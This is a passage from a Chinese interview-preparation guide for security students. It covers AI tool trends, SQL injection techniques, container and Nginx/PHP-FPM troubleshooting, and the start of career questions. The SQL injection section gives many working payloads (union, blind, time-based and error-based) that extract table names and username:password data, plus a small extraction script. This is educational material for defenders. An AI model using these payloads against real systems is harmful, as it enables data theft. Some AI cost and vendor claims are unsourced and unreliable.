  • 需尽快补充AI安全领域知识
  • 聚焦目标领域突击补课
  • 为后续周老师的高级课做准备(会直接涉及AI安全等深层次内容)

大二学生:

  • 先了解AI基础
  • 系统打基础,别一上来就啃高难度内容
  • 专注学习基础AI应用

(4)AI学习的紧迫性

  • AI领域变化极快,刚掌握的知识可能一周后就过时
  • 这种追赶状态让人压力很大
  • 必须保持持续学习的状态

面试题3:为什么说"只会用AI聊天不算懂AI"?

考察点: AI技术深度的理解

参考答案:

(1)表层使用 vs 深层理解

  • 光会跟AI聊天根本不算懂AI------随便找个大爷也能跟AI唠嗑
  • 真正懂AI得知道底层原理,比如提示词工程这些专业领域
  • 简历里写"精通AI",结果连基础命令都答不上来

(2)技术细节要求

  • 提到Hermes框架等具体技术时,要深入技术细节,不能停留在表面
  • 就像流行的氛围式编程(Web Coding),光知道名字没用,得真正搞懂
  • 关注技术博主,他们对技术敏感度更高,能持续分享最新动态

(3)面试应对

  • 面试时别盲目标榜AI能力
  • 除非能真正解释清楚这些技术是什么、怎么用
  • 浅尝辄止的了解在面试中分分钟被问倒

(4)学习建议

  • 通过VPN关注国外平台(YouTube、Twitter/X)
  • 追踪OpenAI等公司的研发工程师和创始人
  • 他们常会在社交媒体分享最新技术动态

面试题4:请对比分析目前主流的AI工具。

考察点: 对AI工具生态的了解

参考答案:

(1)工具对比表

工具 特点 使用建议
ChatGPT 比Claude更开放好用 首选,但需注意访问限制
Claude 老板是鹰派,限制中国人使用技术 可使用但限制较多
GLM 供货情况稳定 优先选择
Kimi 有时买不到 作为备选
DeepSeek 暑假涨价,价格翻倍 性价比尚可,比同类良心
Codex 命令行智能执行,目标导向 适合开发自动化任务

(2)付费机制

  • 99元/月的套餐看似额度少
  • 共享使用的特性让性价比更高(类似多人合租ChatGPT账号)
  • 付费套餐的实际价值需从使用时长和共享可能性来评估

(3)警惕问题

  • 虚假宣传:可能挂着DeepSeek的名号实际提供的是Codex的服务
  • 不可靠输出:5道固定答案的消防安全题居然错1道且无法纠正
  • 豆包这类产品作为搜索引擎都不够可靠(连官方网址都可能找不准)

(4)使用策略

  • 服务选择要看供货情况
  • 不能只依赖单一AI工具,应拓展学习渠道和工具使用范围
  • "团购"模式在AI服务中很常见

面试题5:AI工具在URL传参和精确度方面有哪些注意事项?

考察点: AI工具使用中的细节把控

参考答案:

(1)参数精确度至关重要

  • URL和参数必须绝对准确(比如大小写"Less"的问题)
  • 差一点AI就无法正确响应
  • 描述不准确会导致无结果,即使系统显示"完成"也可能没有实际输出

(2)提示词质量决定输出质量

  • 提示词和输入参数的精确度直接决定输出质量
  • 就像钥匙开锁,差一毫米都打不开
  • 这就是很多人觉得AI"解决不了问题"的根本原因

(3)脚本调试中的典型问题

  • 缺少requests模块 → 需要pip install
  • 连接目标地址写错(如把192写成129)
  • URL大小写问题导致请求失败

(4)总结

提示词和输入参数的精确度直接决定输出质量。


面试题6:请谈谈当前AI算力成本的现状。

考察点: AI基础设施的了解

参考答案:

(1)算力成本飙升

  • 以前跑AI模型几个小时只要几块钱,现在价格暴涨
  • GPT-4训练每天烧1亿美金
  • GPT-5.0版本直接涨到10亿美金/天
  • 算力资源极度紧张

(2)对服务价格的影响

  • DeepSeek在暑假期间涨价,特定时段价格翻倍
  • 本质是算力军备竞赛
  • AI服务涨价是大趋势,便宜时代可能一去不返

(3)消费电子联动

  • 苹果手机价格不降反升(涨幅500-1000元)
  • 打破很多人等待降价的预期
  • 虽然华强北的耳机在参数上能对标苹果
  • 用户体验仍有差距,核心技术壁垒依然存在

面试题7:在AI时代,技术人员应该如何学习和发展?

考察点: 学习方法论、自我驱动力

参考答案:

(1)学习路径规划

大二阶段:

  • 系统打基础
  • 先了解AI基础应用
  • Linux和Docker是必备基础
  • 没有放松的资本,必须持续投入时间

大三阶段:

  • 聚焦目标领域突击补课
  • 尽快补充AI安全领域知识
  • 很多人忽略了命令细节,基础操作生疏
  • 为高级课程做准备

(2)资源获取

  • 国外:YouTube、Twitter/X(需VPN)
  • 国内:B站(有大量前沿技术内容)
  • 关注OpenAI等公司的研发工程师和创始人
  • 关注国内外技术博主

(3)学习方法

  • 用"蚂蚁啃骨头"的方式把大目标拆解成小任务
  • 大学里有些课程可以适当取舍,把精力集中在真正重要的内容上
  • 先跟高级课摸清知识盲区,再针对性补缺
  • 高级课程至少要学2-3遍才能有效吸收

(4)关键提醒

  • 大学三年的积累不可能靠一小时突击补上
  • 每年秋招季总会有学生临时抱佛脚
  • 现在不抓紧,等到别人拿Offer时再着急就晚了

面试题8:请说说你对AI辅助编程工具(如Codex)的理解。

考察点: AI工程化应用的理解

参考答案:

(1)Codex命令行的三大核心特性

① 目标导向

  • 设定目标后,系统会全程围绕目标执行
  • 一旦偏离立即纠正
  • 比手动部署的Hermes更方便

② 免打扰模式

  • 可以授予最大权限自动执行
  • 直到预设的约束点才暂停
  • 适合长时间自动化任务

③ 断点续传

  • 意外关机重启后,能通过临时数据库恢复执行进度
  • 相当于在命令行内置了一个轻量级自动化管控系统

(2)对开发流程的影响

  • 以前需要10-20人团队耗时一个月
  • 现在掌握Web Coding的个人可能一周就能完成
  • 前期需求定义等关键环节仍需人工把控

(3)学习建议

  • 吴恩达教授的英文AI入门课值得学习
  • 需要一定专业基础
  • 学习英文技术视频时使用字幕辅助理解
  • 主动搜索资源,B站上就有大量相关解析

二、SQL注入基础类(共12题)


面试题9:请简述SQL注入漏洞产生的根本原因。

考察点: 对漏洞本质的理解

参考答案:

(1)根本原因

  • 服务端通过GET等方式获取用户输入参数后
  • 直接拼接到SQL查询语句中
  • 用户输入的参数未经任何处理或过滤

(2)典型代码示例

有漏洞的代码:

php 复制代码
$id = $_GET['id'];
$sql = "SELECT * FROM users WHERE id = " . $id;  // 直接拼接
$result = mysql_query($sql);

安全的代码(使用参数化查询):

php 复制代码
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = ?");
$stmt->execute([$_GET['id']]);

(3)攻击原理

sql 复制代码
-- 正常查询
SELECT * FROM users WHERE id=12      -- 只返回id=12的用户

-- 恶意构造
SELECT * FROM users WHERE id=12 OR 1=1  -- 1=1永远为真,返回所有用户
  • OR 1=1 导致WHERE条件永远成立
  • 数据库返回所有用户数据,导致信息泄露

(4)总结

SQL注入不是数据库的漏洞,而是应用程序层的漏洞------本质是"数据"和"代码"没有正确分离。


面试题10:请详细说明SQL注入攻击的通用四步流程。

考察点: SQL注入方法论、思路清晰度

参考答案:

第一步:判断输入类型(数字型 vs 字符型)

类型 特点 判断方法
数字型 直接拼接到SQL,不需要引号 and 1=2 生效(查询无结果)
字符型 放在引号内,需闭合引号 and 1=2 无影响(被当成文本)

测试示例:

sql 复制代码
-- URL输入:id=1 AND 1=2
-- 数字型:执行 SELECT * FROM users WHERE id=1 AND 1=2 → 永假,无结果
-- 字符型:执行 SELECT * FROM users WHERE id='1 AND 1=2' → 被当作文本,结果不变

第二步:确定闭合符(字符型需要)

常见闭合符:单引号 '、双引号 "、小括号 )、混合 ')")

sql 复制代码
-- 测试方法:不断尝试不同闭合符
1'        -- 单引号
1"        -- 双引号
1')       -- 单引号+括号
1")       -- 双引号+括号

可以通过:

  • 报错信息反推闭合符类型
  • 查看源代码直接确认拼接方式

第三步:判断列数(ORDER BY)

sql 复制代码
ORDER BY 1  -- 正常
ORDER BY 2  -- 正常
ORDER BY 3  -- 正常
ORDER BY 4  -- 报错!说明只有3列

原理: ORDER BY n 按第n列排序,如果n超出实际列数就报错。

第四步:定位回显位置(UNION SELECT)

sql 复制代码
-- 先让原查询不返回结果
id=-1 UNION SELECT 1,2,3

-- 观察页面上数字123显示的位置
-- 例如第2列和第3列显示数字→回显位置是第2和第3列

后续利用:

sql 复制代码
-- 获取数据库名(放在回显位置)
id=-1 UNION SELECT 1,2,DATABASE()

-- 获取表名
id=-1 UNION SELECT 1,2,GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=DATABASE()

-- 获取列名
id=-1 UNION SELECT 1,2,GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_schema=DATABASE() AND table_name='users'

-- 获取数据
id=-1 UNION SELECT 1,2,GROUP_CONCAT(username,0x3a,password) FROM users

面试题11:数字型注入和字符型注入有什么区别?如何判断?

考察点: 基础概念辨析

参考答案:

(1)核心区别

维度 数字型注入 字符型注入
SQL拼接方式 WHERE id=$id 直接拼接数值 WHERE id='$id' 用引号包裹
是否需要闭合 不需要 需要闭合引号
注入难度 较低 较高(需找到闭合符)

(2)判断方法

方法一:加单引号测试

复制代码
?id=1'   → 报错 → 字符型(引号打破了SQL结构)
?id=1'   → 正常 → 数字型(引号被当成了数值的一部分)

方法二:and逻辑测试

sql 复制代码
?id=1 AND 1=2
-- 正常页面变成空白/无数据 → 数字型(条件生效)
-- 页面无变化 → 字符型(被当成字符串不解析)

(3)字符型注入的引号处理

sql 复制代码
-- 原始SQL: SELECT * FROM users WHERE id='[输入]'

-- 输入: 1' OR '1'='1
-- 拼接后: SELECT * FROM users WHERE id='1' OR '1'='1'
-- 注意:最后多了一个单引号,通过OR '1'='1' 来闭合

-- 更好的方式: 1' OR 1=1--+
-- 拼接后: SELECT * FROM users WHERE id='1' OR 1=1--+' ← --注释掉剩余内容

(4)URL编码注意事项

  • URL中空格被编码为20%
  • 单引号变为%27
  • 可以用 --+ 绕过编码(加号被解析为空格)
  • --+ 作用:空格确保注释符生效,注释掉多余的单引号

面试题12:什么是闭合符?为什么字符型注入需要处理闭合符?

考察点: SQL拼接机制的理解

参考答案:

(1)闭合符的定义

  • 闭合符是SQL语句中用来包裹字符串的符号
  • 使引号内的内容被当作整体处理
  • 引号外则会被解析为SQL语法

(2)常见的闭合符类型

闭合符 示例
单引号 ' WHERE id='value'
双引号 " WHERE id="value"
小括号 ) WHERE id=(value)
单引号+括号 ') WHERE id=('value')
双引号+括号 ") WHERE id=("value")

(3)为什么需要处理闭合符

原始SQL语句:

sql 复制代码
SELECT * FROM users WHERE id='[用户输入]'

用户直接输入 OR 1=1

sql 复制代码
SELECT * FROM users WHERE id='OR 1=1'

OR 1=1 成了字符串,不执行!因为被引号包裹了。

需要手动闭合引号:

sql 复制代码
-- 输入: 1' OR 1=1--+
-- 拼接后: SELECT * FROM users WHERE id='1' OR 1=1--+'

处理过程:

  1. 1' 闭合了前面的单引号
  2. OR 1=1 是注入的逻辑条件
  3. --+ 注释掉后面多余的单引号
  4. 最终SQL变成:SELECT * FROM users WHERE id='1' OR 1=1

(4)关键技巧

  • 可以通过报错信息反推闭合符类型
  • 查看源代码直接确认拼接方式是最快的方法
  • 数字型注入不需要考虑闭合问题

面试题13:请解释 --+ 在SQL注入中的作用。

考察点: 注释符机制、URL编码理解

参考答案:

(1)-- 的基础作用

  • -- 是SQL中的行注释符
  • 用于注释掉语句后面多余的内容

(2)为什么要用 --+

sql 复制代码
-- 原始SQL
SELECT * FROM users WHERE id='[输入]'

-- 输入: 1' OR 1=1--
-- 拼接后: SELECT * FROM users WHERE id='1' OR 1=1--'
-- 注意:--后面应该跟空格才生效,但URL中空格会被特殊处理

URL编码问题:

  • URL中空格会被编码为 %20
  • 直接写 -- ' 中间的空格在URL中可能失效
  • 加号 + 在URL解码时会被解析为空格

所以 --+ 的完整效果:

复制代码
--+  →  URL解码  →  --空格  →  SQL注释生效

(3)错误演示

sql 复制代码
-- 不带空格的注释(失效)
id=1' OR 1=1--   →  后面的单引号还在,语法错误

-- 用--+(正确)
id=1' OR 1=1--+  →  注释掉剩余内容,语句正确

(4)替代方案

  • 除了注释符,也可以通过构造无效条件来"吃掉"多余的代码段
  • 比如用 AND 1=2 让后续条件失效
  • 本质上和注释符的效果类似

(5)总结

--+ 中的 -- 是SQL注释,+ 在URL中被转成空格,确保注释符后面有空格,从而正确注释掉原语句的剩余部分。


面试题14:请解释布尔盲注的原理和实现方法。

考察点: 盲注理解深度、二分法优化

参考答案:

(1)适用场景

  • 注入点无直接数据回显
  • 前端页面只返回**真(true)/假(false)**两种状态
  • 比如:正常页面和错误页面

(2)基本原理

通过构造条件判断语句,根据页面返回的真假状态来推测数据库信息。

sql 复制代码
-- 判断数据库名长度是否等于8
?id=1 AND LENGTH(DATABASE())=8

-- 页面正常(返回数据)→ 长度为8
-- 页面异常(无数据/报错)→ 长度不为8

(3)逐个字符猜测

sql 复制代码
-- 截取第1个字符,判断ASCII码
?id=1 AND ASCII(SUBSTRING(DATABASE(),1,1))>80

-- 页面正常 → ASCII > 80
-- 页面异常 → ASCII ≤ 80

(4)二分法优化

直接逐个字符试效率太低(a-z共26次),用二分法:

复制代码
目标:猜出数据库名的第一个字符

第1次:ASCII > 80?    → 是(范围缩小到81-255)
第2次:ASCII < 100?   → 是(范围缩小到81-99)
第3次:ASCII < 90?    → 否(范围缩小到90-99)
第4次:ASCII < 95?    → 否(范围缩小到95-99)
第5次:ASCII = 97?    → 是!→ 对应字符 'a'

效率对比:

  • 原始方法:最坏26次(a-z逐个试)→ 平均13次
  • 二分法:最坏7次(log₂128)→ 平均4-5次

(5)完整流程

  1. 先确定长度:LENGTH(DATABASE())=n 逐个试
  2. 再逐个字符猜:ASCII(SUBSTRING(..., pos, 1)) > val
  3. 结合二分法快速收敛

面试题15:请解释时间盲注的原理和实现方法。

考察点: 时间盲注理解、IF+SLEEP配合

参考答案:

(1)基本原理

利用 IF() 函数配合 SLEEP() 函数,通过响应时间差异来判断条件是否成立。

(2)核心函数

sql 复制代码
IF(condition, value_if_true, value_if_false)

(3)基础示例

sql 复制代码
-- 如果条件成立,休眠3秒
SELECT * FROM users WHERE id=1 AND IF(1>2, SLEEP(3), 1)

-- 1>2 不成立 → 立即返回结果(不延迟)
-- 1=1 成立   → 休眠3秒后返回结果(延迟)

(4)应用示例

判断数据库名长度:

sql 复制代码
?id=1' AND IF(LENGTH(DATABASE())=8, SLEEP(3), 1)--+

-- 响应延迟3秒 → 长度为8
-- 立即响应 → 长度不为8

判断字符:

sql 复制代码
?id=1' AND IF(ASCII(SUBSTRING(DATABASE(),1,1))>80, SLEEP(3), 1)--+

-- 延迟3秒 → ASCII > 80
-- 立即响应 → ASCII ≤ 80

(5)特点总结

优势 劣势
不需要知道具体列数 耗时长,需等待延迟
不回显数据也能注入 网络波动可能干扰判断
适用性广(所有SQL注入场景) 容易被WAF检测到

(6)与布尔盲注对比

对比项 布尔盲注 时间盲注
判断依据 页面内容差异 响应时间差异
速度 快(毫秒级) 慢(每个条件等几秒)
隐蔽性 一般 较低(明显的延迟)
适用场景 有真假状态回显 无任何回显

面试题16:请解释报错注入的原理,并列举常用函数。

考察点: 报错注入机制理解

参考答案:

(1)基本原理

通过特定函数触发数据库报错,在报错信息中泄露敏感数据

核心思路: 构造一个能执行但又会报错的SQL语句,让报错信息把查询结果带出来。

(2)常用函数

① EXTRACTVALUE()

sql 复制代码
EXTRACTVALUE(xml_fragment, xpath_expression)
-- 从XML中提取值,若XPath错误则报错

② UPDATEXML()

sql 复制代码
UPDATEXML(xml_target, xpath_expr, new_xml)
-- 更新XML文档,若XPath错误则报错

(3)标准Payload

sql 复制代码
-- 获取数据库名
1' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT DATABASE())))--+

-- 获取所有表名
1' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=DATABASE())))--+

-- 获取users表的列名
1' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_schema=DATABASE() AND table_name='users')))--+

-- 获取数据
1' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT GROUP_CONCAT(username,0x3a,password) FROM users)))--+

(4)关键技巧

特殊符号选择:

符号 稳定性 说明
波浪线 ~ 最稳定 十六进制0x7e,推荐使用
星号 * 一般 可能受URL编码影响
@ 可用 能直接成功
&& 不可用 URL中为参数分隔符

为什么 && 不可用:

  • && 在URL中有特殊含义,它是参数分隔符
  • 直接用在SQL注入中会导致解析错误

(5)报错信息示例

复制代码
XPATH syntax error: '~security'

报错信息中包含了数据库名 security

(6)XML相关知识

  • XML是最早用于数据传输的格式,后来才被JSON取代
  • XML特点是层级清晰、可读性强
  • 在需要严格结构化数据的场景仍有优势

面试题17:UNION查询注入时需要注意哪些关键点?

考察点: UNION注入细节

参考答案:

(1)核心规则------列数必须一致

sql 复制代码
-- 正确:列数相同
SELECT id, name FROM users UNION SELECT id, email FROM emails

-- 错误:列数不同
SELECT id, name, age FROM users UNION SELECT id, email FROM emails
-- 报错!前后列数不一致

(2)对齐列数的方法

sql 复制代码
-- 用NULL值补足缺少的列
SELECT id, name, age FROM users
UNION
SELECT id, email, NULL FROM emails

(3)判断回显位置的经典方法

sql 复制代码
-- 第一步:让原查询无结果
id=-1

-- 第二步:构造UNION SELECT占位
id=-1 UNION SELECT 1,2,3

-- 第三步:观察页面上哪个数字显示出来
-- 假设页面上显示 "2" 和 "3" → 第2列和第3列是回显位置

(4)为什么要让原查询无结果?

  • UNION会追加结果集
  • 如果原查询有结果,会同时显示原结果和构造的结果
  • 让原查询无结果后,系统只显示我们构造的数据,更容易判断

(5)利用回显位置获取数据

sql 复制代码
-- 获取数据库名(放在回显位置)
id=-1 UNION SELECT 1, DATABASE(), 3

-- 获取表名
id=-1 UNION SELECT 1, GROUP_CONCAT(table_name), 3
FROM information_schema.tables WHERE table_schema=DATABASE()

-- 获取数据
id=-1 UNION SELECT 1, GROUP_CONCAT(username,0x3a,password), 3
FROM users

(6)常见错误

  • UNION后面错误地加逗号(UNION, SELECT
  • 字段位置写错
  • 忘记在字符型注入中添加闭合符和注释符

面试题18:ORDER BY 在SQL注入中有什么用途?如何用它判断列数?

考察点: ORDER BY在注入中的实际应用

参考答案:

(1)主要用途

  • 判断查询结果的列数
  • 为后续UNION注入做准备

(2)判断方法

sql 复制代码
-- 逐步增加列号,直到报错
ORDER BY 1  -- 正常 → 至少有1列
ORDER BY 2  -- 正常 → 至少有2列
ORDER BY 3  -- 正常 → 至少有3列
ORDER BY 4  -- 报错!→ 只有3列!

(3)原理说明

  • 数据库会按照指定的列号对结果排序
  • 如果列号超出实际列数就会报错
  • 即使查询结果为空,只要不报错就说明该列存在

(4)注意事项

  • ORDER BY后面的数字是列的位置(第1列、第2列...)
  • 不是列名,也不需要写列名
  • 这个方法特别适用于不知道表结构的情况

(5)GROUP BY的替代用法

sql 复制代码
GROUP BY 1  -- 正常
GROUP BY 3  -- 正常
GROUP BY 4  -- 报错!→ 只有3列

(6)典型使用场景

sql 复制代码
-- 1. 判断列数
1 ORDER BY 3--+

-- 2. 确定列数后构造UNION
-1 UNION SELECT 1,2,3--+

-- 3. 在回显位置获取数据
-1 UNION SELECT 1,DATABASE(),3--+

面试题19:information_schema 是什么?如何利用它获取数据库信息?

考察点: 系统表利用、元数据查询

参考答案:

(1)information_schema 简介

  • MySQL的系统数据库
  • 存储了所有数据库的元数据信息
  • 包含表结构、列信息、权限信息等

(2)关键表

表名 作用 关键字段
TABLES 存储所有表的信息 TABLE_SCHEMA(数据库名)、TABLE_NAME(表名)
COLUMNS 存储所有列的信息 COLUMN_NAME(列名)、DATA_TYPE(数据类型)

(3)查询表名

查看所有表:

sql 复制代码
SELECT TABLE_NAME FROM information_schema.TABLES

查询特定数据库的表:

sql 复制代码
SELECT TABLE_NAME FROM information_schema.TABLES
WHERE TABLE_SCHEMA='security'

合并显示:

sql 复制代码
SELECT GROUP_CONCAT(TABLE_NAME) FROM information_schema.TABLES
WHERE TABLE_SCHEMA='security'

(4)查询列名

sql 复制代码
SELECT COLUMN_NAME FROM information_schema.COLUMNS
WHERE TABLE_SCHEMA='security' AND TABLE_NAME='users'

(5)注入中的实际利用

sql 复制代码
-- 获取当前数据库的所有表名
-1' UNION SELECT 1,2,GROUP_CONCAT(TABLE_NAME)
FROM information_schema.TABLES
WHERE TABLE_SCHEMA=DATABASE()--+

-- 获取users表的列名
-1' UNION SELECT 1,2,GROUP_CONCAT(COLUMN_NAME)
FROM information_schema.COLUMNS
WHERE TABLE_SCHEMA=DATABASE() AND TABLE_NAME='users'--+

(6)注意事项

  • table_schema = 数据库名(注意命名规律)
  • 如果当前数据库和information_schema不同,查询要带库名前缀
  • column 这个单词容易拼错
  • GROUP_CONCAT() 可以把多行结果合并成一行显示

面试题20:请对比布尔盲注与时间盲注的优缺点。

考察点: 两种盲注技术的横向对比

参考答案:

(1)对比表

对比维度 布尔盲注 时间盲注
判断依据 页面内容/状态差异 响应时间差异
速度 快(毫秒级) 慢(每个条件等2-5秒)
准确性 高(页面特征明显) 受网络波动影响
隐蔽性 较好 较低(明显延迟)
前提条件 页面有真假状态变化 无需任何回显
自动化难度 容易 较容易(需设超时)

(2)适用场景

布尔盲注适用:

  • 页面有明确的状态区分(如"正常页面"vs"错误页面")
  • 注入点返回不同的内容或长度
  • 不需要等待延迟,效率高

时间盲注适用:

  • 页面无任何区分(始终显示相同内容)
  • 布尔盲注无法判断时
  • 不关心速度,只要最终能获取数据

(3)优缺点详述

布尔盲注

复制代码
优势:
  ✓ 速度快,每个判断瞬间完成
  ✓ 不易被WAF检测
  ✓ 自动化脚本简单

劣势:
  ✗ 需要页面有可区分的状态
  ✗ 某些场景无法使用

时间盲注

复制代码
优势:
  ✓ 适用所有SQL注入场景
  ✓ 不依赖页面内容

劣势:
  ✗ 速度极慢(尤其是大量数据时)
  ✗ 网络波动导致误判
  ✗ 容易被WAF检测为攻击

(4)结合使用策略

  • 优先使用布尔盲注(如果有回显状态)
  • 布尔盲注不可用时,再降级为时间盲注
  • 时间盲注时建议多次测量取平均值

面试题21:前端限制了输出长度,如何获取完整的数据?

考察点: 实际问题的解决能力

参考答案:

(1)问题描述

  • 前端页面只显示部分数据(如只显示前32个字符)
  • 需要获取完整的数据库信息

(2)解决方法

方法一:SUBSTRING分段截取

sql 复制代码
-- 第一次:从第1位开始取32个字符
id=-1' UNION SELECT 1,2,SUBSTRING(data,1,32) FROM target--+

-- 第二次:从第33位开始取32个字符
id=-1' UNION SELECT 1,2,SUBSTRING(data,33,32) FROM target--+

-- 重复直到获取完整数据,最后拼接

方法二:利用LIMIT分批取行

sql 复制代码
-- 第1行
id=-1' UNION SELECT 1,2,username FROM users LIMIT 0,1--+

-- 第2行
id=-1' UNION SELECT 1,2,username FROM users LIMIT 1,1--+

-- 依次取完所有行

方法三:GROUP_CONCAT配合SUBSTRING

sql 复制代码
-- 先用GROUP_CONCAT合并所有数据
-- 再分段截取
SELECT SUBSTRING(GROUP_CONCAT(username,0x3a,password), 1, 32) FROM users

(3)Python自动化实现

python 复制代码
def get_full_data():
    full_data = ""
    offset = 1
    while True:
        payload = f"1' UNION SELECT 1,2,SUBSTRING(data,{offset},32) FROM target--+"
        chunk = execute(payload)
        if not chunk:
            break
        full_data += chunk
        offset += 32
    return full_data

面试题22:LIMIT的两种用法有什么区别?在注入中如何使用?

考察点: LIMIT语法细节

参考答案:

(1)两种用法对比

用法 语法 含义 示例 结果
单参数 LIMIT n 返回前n行 LIMIT 3 返回第1、2、3行
双参数 LIMIT a,b 从第a行开始(从0计数),返回b行 LIMIT 1,2 返回第2、3行

(2)双参数详解

sql 复制代码
-- 数据库有10条数据
SELECT * FROM users LIMIT 0,3  -- 第1、2、3条(第1页)
SELECT * FROM users LIMIT 3,3  -- 第4、5、6条(第2页)
SELECT * FROM users LIMIT 6,3  -- 第7、8、9条(第3页)
SELECT * FROM users LIMIT 9,3  -- 第10条(第4页)

注意: 双参数的第二位是返回的行数,不是截止行号!

(3)分页查询公式

sql 复制代码
SELECT * FROM table LIMIT (page-1)*pageSize, pageSize
-- page: 页码(从1开始)
-- pageSize: 每页行数

(4)注入中的应用

sql 复制代码
-- 只获取第一条数据
id=-1' UNION SELECT 1,2,username FROM users LIMIT 0,1--+

-- 跳过第一条,获取第二条
id=-1' UNION SELECT 1,2,username FROM users LIMIT 1,1--+

三、环境搭建与运维类(共5题)


面试题23:如何排查容器服务不可用的问题?请描述完整的排查流程。

考察点: 容器排障思路

参考答案:

完整排查流程(五个步骤):

第一步:检查容器运行状态

bash 复制代码
podman ps
# 或者
docker ps
  • 如果容器没运行,服务自然无法访问
  • 如果容器列表为空,说明容器未启动或已停止

第二步:检查Nginx配置文件

bash 复制代码
cat /usr/local/nginx/conf/nginx.conf
  • 检查配置的端口(如9056)是否与实际服务端口一致
  • 检查代理配置是否正确

第三步:确认端口监听状态

bash 复制代码
ss -antlp | grep 9050
# 或者
netstat -antlp | grep 9050
  • 端口在监听 → 服务可能正常运行
  • 端口未监听 → 服务未启动或配置有误

第四步:重启容器

bash 复制代码
podman start [容器ID]
# 或
systemctl --user start [service名]

第五步:验证状态

bash 复制代码
podman ps                     # 确认容器running
ss -antlp | grep 9050         # 确认端口已监听
systemctl --user status [服务名]  # 确认服务状态

(2)其他常见问题

  • 版本兼容性问题:Nginx 1.22与pcre2的匹配问题
  • 之前用apt安装过Nginx可能导致新版本冲突
  • 一键安装脚本虽省去了手动配置,但已有软件版本可能冲突

(3)核心理念

边操作边验证 :每次操作后都用status/ps命令确认状态,看到"running"才表示服务真正跑起来了。

结果导向:重启服务后检查端口是否开启是最直接的验证方式。


面试题24:如何实现容器的开机自启?

考察点: systemd管理、容器自动化

参考答案:

(1)原理说明

  • systemctl enable 能管理服务的前提是该服务有对应的 .service 文件
  • 容器默认不具备这个条件
  • 需要手动生成并配置service文件

(2)完整操作流程

步骤1:生成service文件

bash 复制代码
podman generate systemd --name [容器名] --files --new
  • 这会在当前目录生成service文件
  • 参数容易记混,使用前建议查文档确认

步骤2:移动文件到指定目录

用户级别(推荐):

bash 复制代码
mkdir -p ~/.config/systemd/user/
mv container-xxx.service ~/.config/systemd/user/

系统级别:

bash 复制代码
sudo mv container-xxx.service /etc/systemd/system/

步骤3:启动服务

bash 复制代码
# 用户级别
systemctl --user start container-xxx.service

# 系统级别
sudo systemctl start container-xxx.service

步骤4:检查状态

bash 复制代码
systemctl --user status container-xxx.service
# 看到 "active (running)" 才表示成功

步骤5:设置开机自启

bash 复制代码
systemctl --user enable container-xxx.service

(3)注意事项

  • 用户级别用 systemctl --user 前缀
  • 系统级别用 sudo systemctl
  • 每次操作后都要用status命令确认状态

(4)其他替代方案

  • 对于没有service文件的场景,也可以考虑修改容器配置
  • 使用其他工具(如Docker的restart policy)

面试题25:Docker和Podman有哪些异同?

考察点: 容器技术理解

参考答案:

(1)相同点

  • 本质相同:都是容器管理工具
  • 功能定位相同:创建、运行、管理容器
  • 命令高度相似:docker runpodman run
  • 都支持Docker镜像格式

(2)不同点

对比项 Docker Podman
架构 C/S架构(需dockerd守护进程) 无守护进程(daemonless)
安全 root用户运行 支持rootless(更安全)
命令 docker podman
兼容性 更广 兼容Docker命令
资源占用 较高 较低

(3)命令对比

bash 复制代码
# Docker
docker ps
docker run -d nginx
docker stop [ID]
docker start [ID]

# Podman
podman ps
podman run -d nginx
podman stop [ID]
podman start [ID]

(4)学习建议

  • 系统学习相关课程,而非零散看视频
  • 两种工具本质一样,学好一种另一种自然就会
  • 容器技术是运维和安全的必备技能
  • 建议利用暑假提前练习

面试题26:请描述Nginx和PHP-FPM的协同工作原理。

考察点: Web服务架构理解

参考答案:

(1)架构流程图

复制代码
用户请求 → Nginx(监听80/443端口)
                ↓
          FastCGI协议转发
                ↓
         PHP-FPM(监听9000端口)
                ↓
          执行PHP脚本
                ↓
          MariaDB/MySQL

(2)工作流程

  1. 用户发送HTTP请求到Nginx
  2. Nginx根据配置识别出PHP请求
  3. Nginx通过FastCGI协议将请求转发给PHP-FPM
  4. PHP-FPM执行PHP脚本
  5. 如果脚本需要数据库操作,PHP连接MariaDB/MySQL
  6. 处理结果返回给Nginx
  7. Nginx将响应返回给用户

(3)关键配置

Nginx配置示例:

nginx 复制代码
location ~ \.php$ {
    fastcgi_pass   127.0.0.1:9000;  # PHP-FPM监听地址
    fastcgi_index  index.php;
    fastcgi_param  SCRIPT_FILENAME  $document_root$fastcgi_script_name;
    include        fastcgi_params;
}

(4)端口说明

  • 80端口:Nginx默认HTTP端口
  • 443端口:Nginx默认HTTPS端口
  • 9000端口:PHP-FPM默认监听端口
  • 9056端口:特定应用配置的Nginx代理端口

(5)排查技巧

bash 复制代码
# 检查80端口
ss -antlp | grep 80

# 检查9000端口
ss -antlp | grep 9000

# 如果Nginx没启动,去指定路径启动
/usr/local/nginx/sbin/nginx

面试题27:如何验证PHP-FPM服务是否正常运行?

考察点: 服务验证方法

参考答案:

(1)验证步骤

步骤1:查看服务状态

bash 复制代码
systemctl --user status content-php56-fpm.service
  • 看到 active (running) 表示正常运行

步骤2:检查端口监听

bash 复制代码
ss -antlp | grep 9000
  • PHP-FPM默认监听9000端口
  • 看到 LISTEN 状态表示正常

步骤3:创建测试PHP文件

php 复制代码
<?php
phpinfo();
?>
  • 放置在Nginx的web根目录
  • 通过浏览器访问该文件
  • 如果显示PHP信息页面,说明PHP-FPM正常工作

步骤4:检查日志

bash 复制代码
# Nginx错误日志
tail -f /var/log/nginx/error.log

# PHP-FPM错误日志
tail -f /var/log/php-fpm/error.log

(2)常见问题

  • 端口未监听 → 检查service文件配置是否正确
  • 502 Bad Gateway → Nginx无法连接到PHP-FPM
  • 404 Not Found → 文件路径配置错误
  • 403 Forbidden → 权限问题

(3)重要提醒

遇到问题要先自查文档或系统课程,碎片化学习效果有限。


四、职业发展与规划类(共5题)


面试题28:请谈谈你对安全服务岗位的理解,它与渗透测试岗位有什么区别?

考察点: 岗位认知精准度

参考答案:

(1)安全服务岗位的核心定位

  • 攻击者视角发现系统漏洞
  • 核心是客户交付和问题解决
  • 而不仅仅是内部安全建设

工作内容:

  1. 深度测试 --- 对系统进行深入安全评估
  2. 流量分析 --- 分析网络流量,发现异常
